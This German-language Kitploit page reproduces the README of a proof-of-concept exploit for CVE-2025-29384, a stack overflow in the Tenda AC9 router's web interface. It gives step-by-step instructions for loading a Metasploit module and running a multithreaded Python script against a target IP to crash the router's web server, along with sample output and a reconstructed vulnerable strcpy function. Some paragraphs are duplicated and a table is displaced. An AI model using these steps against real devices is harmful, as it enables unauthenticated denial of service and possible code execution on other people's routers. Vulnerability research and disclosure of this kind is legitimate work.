Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-29384 — POC für CVE-2025-29384 | Kitploit
Tools/GitHubGitHub/fomovet/cve-2025-29384
Embedded-System-SicherheitExploit-FrameworksIoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsHardware- & IoT-SicherheitLernen & BildungRed TeamingBinary-Exploitation
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
fomovet/cve-2025-29384

cve-2025-29384

POC für CVE-2025-29384

Repository anzeigen

CVE-2025-29384 Proof-of-Concept-Exploit

Überblick

Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).

Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen (z. B. Cybersicherheits-Stipendien) bereitzustellen. Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).

Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen, wie z. B. Cybersicherheits-Stipendien, bereitzustellen.

Details zur Schwachstelle

CVE-Beschreibung

CVE-2025-29384 betrifft das Webverwaltungsinterface des Tenda AC9-Routers, insbesondere den Endpunkt:

root@kitploit:~
/goform/AdvSetMacMtuWan

Die Schwachstelle existiert aufgrund fehlerhafter Grenzprüfungen des Parameters wanMTU, der über eine HTTP-POST-Anfrage verarbeitet wird. Die Eingabe wird ohne Validierung in einen Stack-Puffer fester Größe kopiert, was zu einem klassischen Stack-basierten Pufferüberlauf führt.

Auswirkungen

  • Denial-of-Service (DoS): Bringt den HTTP-Server des Routers zum Absturz, sodass dieser bis zu einem Neustart nicht mehr reagiert.
  • Potenzielle RCE: Ein Angreifer könnte die Rücksprungadresse überschreiben und beliebigen Code auf der MIPS-basierten Architektur des Routers ausführen.
  • Keine Authentifizierung erforderlich: Die Schwachstelle kann remote ohne Anmeldedaten ausgelöst werden, was ihre Schwere erhöht.

Technische Aufschlüsselung

Die verwundbare Funktion (hypothetische Rekonstruktion) folgt dieser Struktur:

root@kitploit:~
void process_mtu(char *input) {
    char buffer[256];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process MTU value...
}

Ein Angreifer, der eine überdimensionierte Nutzlast sendet (z. B. 1024+ Bytes), überschreibt angrenzenden Speicher, einschließlich der Rücksprungadresse der Funktion, was möglicherweise zu Codeausführung führt.

CVSS v3.1-Score: 9.8 (Kritisch)

Betroffenes Gerät

Der Tenda AC9 ist ein Dualband-WLAN-Router mit den folgenden Spezifikationen:

  • CPU: Broadcom BCM4708 (MIPS 74Kc, Dual-Core, ~1 GHz)
  • RAM: 128 MB
  • Flash: 16 MB
  • WLAN: Dualband 802.11ac (AC1200)
  • Anschlüsse: 1x Gigabit WAN, 4x Gigabit LAN
  • Firmware: V15.03.05.14_multi (als verwundbar bestätigt)

Offenlegungszeitplan

  • 14. März 2025 – CVE-2025-29384 wurde auf NVD/MITRE veröffentlicht.
  • 17. März 2025 – Dieser PoC wurde entwickelt und getestet.
  • 17. März 2025 – Bis zu diesem Datum gibt es keinen offiziellen Patch von Tenda.

Details zum PoC-Exploit

Ruby-Metasploit-Modul

Dieses Repository enthält außerdem ein Ruby-basiertes Metasploit-Modul für CVE-2025-29384. Das Modul lässt sich nahtlos in das Metasploit-Framework integrieren und ermöglicht es Ihnen, die Schwachstelle über msfconsole auszunutzen.

So verwenden Sie das Ruby-Modul

Schritt 1: Modul herunterladen

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc

Schritt 2: Modul nach Metasploit kopieren

Lokalisieren Sie die Ruby-Moduldatei und kopieren Sie sie in das Exploits-Verzeichnis von Metasploit:

root@kitploit:~
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/

Hinweis: Falls das Verzeichnis nicht existiert, erstellen Sie es:

root@kitploit:~
mkdir -p ~/.msf4/modules/exploits/linux/http/

Schritt 3: Metasploit starten

Starten Sie das Metasploit-Framework:

root@kitploit:~
msfconsole

Laden Sie das Modul:

root@kitploit:~
use exploit/linux/http/tenda_ac9_stack_overflow

Schritt 4: Exploit konfigurieren und ausführen

Legen Sie die Ziel-IP-Adresse fest:

root@kitploit:~
set RHOSTS <target_ip>

Legen Sie die Nutzlastgröße fest (optional, Standard ist 1024):

root@kitploit:~
set PAYLOAD_SIZE 2048

Führen Sie den Exploit aus:

root@kitploit:~
run

Beispielausgabe

root@kitploit:~
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...

Erwartete Ergebnisse

Erfolg: Der Webserver des Routers stürzt ab und verursacht einen Denial-of-Service-Zustand (DoS).
Fehlschlag: Der Router bleibt betriebsbereit, was darauf hindeutet, dass er möglicherweise nicht verwundbar ist oder eine gepatchte Firmware-Version ausführt.

Überblick über den Exploit

Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet, einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen, und das Potenzial für RCE aufzeigt.

Getestete Umgebung

  • Betriebssystem: Kali Linux
  • Python-Version: 3.x
  • Testgerät: Tenda AC9 (Firmware V15.03.05.14_multi)

Funktionen

Multithreading – Startet mehrere gleichzeitige Exploit-Versuche für mehr Zuverlässigkeit.

Dynamische Nutzlasten – Erzeugt zufällige base64-codierte Angriffszeichenfolgen.

Protokollierung – Verwendet das Protokollierungsmodul von Python für strukturierte Fehlersuche.

Anpassbare Parameter – Passt Ziel-IP, Nutzlastgröße und Thread-Anzahl an.

Überblick über den Exploit

Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet und einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen.

Verwendung

Voraussetzungen

  • Python 3.x
  • Tenda AC9-Router mit V15.03.05.14_multi-Firmware

Ausführen des Exploits

root@kitploit:~
python poc.py --target <router_ip> --size 2048 --threads 10
Argumente:
ArgumentBeschreibung
--targetRouter-IP (Standard: )

Beispielausgabe

root@kitploit:~
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.

Erwartete Ergebnisse

Erfolg: Die Weboberfläche des Routers reagiert nicht mehr (DoS-Zustand).

Fehlschlag: Der Router reagiert weiterhin (nicht verwundbar oder falsche Firmware).

Verifizierung

Um zu bestätigen, dass der Exploit den Router erfolgreich zum Absturz bringt, versuchen Sie, die Weboberfläche neu zu laden. Wenn sie nicht mehr reagiert, war der Angriff erfolgreich. Für weitere Analysen prüfen Sie die Netzwerkprotokolle auf getrennte Verbindungen oder verwenden Sie ping, um die Reaktionsfähigkeit des Geräts zu überprüfen.

Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungs- und ethischen Hacking-Zwecken. Die unbefugte Nutzung dieses Exploits ist illegal. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.

Mit ❤️ entwickelt von Otsmane Ahmed Dieses Projekt dient ausschließlich Bildungs- und ethischen Hacking-Zwecken. Die unbefugte Nutzung dieses Exploits ist illegal. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.

Lizenz

Dieses Projekt wird unter der MIT-Lizenz veröffentlicht.

Tool herunterladen
MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
Auswirkung auf die VertraulichkeitHoch
Auswirkung auf die IntegritätHoch
Auswirkung auf die VerfügbarkeitHoch
192.168.0.1
--sizeNutzlastgröße in Bytes (Standard: 1024)
--threadsAnzahl der gleichzeitigen Threads (Standard: 5)